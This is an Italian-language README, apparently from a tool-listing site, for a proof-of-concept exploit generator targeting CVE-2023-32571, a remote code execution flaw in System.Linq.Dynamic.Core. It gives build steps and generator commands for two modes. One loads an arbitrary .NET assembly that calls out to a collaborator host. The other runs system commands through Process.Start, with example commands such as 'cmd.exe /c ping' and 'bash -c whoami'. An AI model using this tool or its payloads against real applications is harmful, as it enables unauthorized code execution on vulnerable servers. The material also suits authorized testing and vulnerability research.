🐞 CVE-2023-32571 - Esecuzione di codice remoto in System.Linq.Dynamic.Core

Proof of Concept per CVE-2023-32571, una vulnerabilità di esecuzione di codice remoto in System.Linq.Dynamic.Core (dalla versione 1.0.7.10 alla 1.2.25). Questa vulnerabilità consente a un aggressore di eseguire codice e comandi arbitrari quando input non fidati vengono analizzati da metodi tra cui Where, Select, OrderBy.

⚠️ Avvertenza

Questo strumento è fornito solo per scopi educativi e di test autorizzati. L'utilizzo di questo strumento per attaccare target senza previo consenso reciproco è illegale. Gli sviluppatori non si assumono alcuna responsabilità e non sono responsabili per qualsiasi uso improprio o danno causato da questo programma.

🎯 Prerequisiti

• .NET 9.0 SDK o successivo
• Applicazione target che utilizza una versione vulnerabile di System.Linq.Dynamic.Core (dalla 1.0.7.10 alla 1.2.25)
• Un server collaborator (ad esempio Burp Collaborator, Interactsh) per osservare i callback

🛠️ Compilazione del progetto

1. Compila il progetto:
   root@kitploit:~

   dotnet build --configuration Release
   

   La compilazione produrrà
   • DLL del payload in Payload/bin/Release/netstandard2.0/Payload.dll
   • Payload Generator in Generator/bin/Release/net9.0/Generator.dll

🚀 Utilizzo

Modalità

Lo strumento supporta due modalità:

1. AssemblyLoad (Modalità 0): Carica ed esegue un assembly .NET personalizzato
2. ProcessStart (Modalità 1): Esegue comandi di sistema direttamente tramite Process.Start

Modalità 0: AssemblyLoad (Predefinita)

# Using Base64 encoding
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 1

# Using Hex encoding
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 0

# Using Base64 encoding
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 1

# Using Hex encoding
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 0

Modalità 1: ProcessStart (Esecuzione diretta dei comandi)

# Windows command execution
./Generator --mode 1 --parameters "cmd.exe /c ping <your-collaborator-url>"

# Linux command execution  
./Generator --mode 1 --parameters "bash -c ping <your-collaborator-url>"

⚙️ Parametri

• --mode: Modalità di sfruttamento (0=AssemblyLoad, 1=ProcessStart)
• --file: Percorso dell'assembly .NET da caricare (richiesto per la modalità AssemblyLoad)
• --type: Nome del tipo completamente qualificato da istanziare (richiesto per la modalità AssemblyLoad)
• --parameters: Parametri in base alla modalità:
  • AssemblyLoad: Parametri del costruttore (separati da virgole)
  • ProcessStart: Comando da eseguire (ad esempio 'cmd.exe /c whoami' o 'bash -c whoami')
• --encoding: Metodo di codifica per la modalità AssemblyLoad (0=Hex, 1=Base64)

📚 Riferimenti

• NIST NVD
• NCCGROUP Advisory
• System.Linq.Dynamic.Core GitHub Repository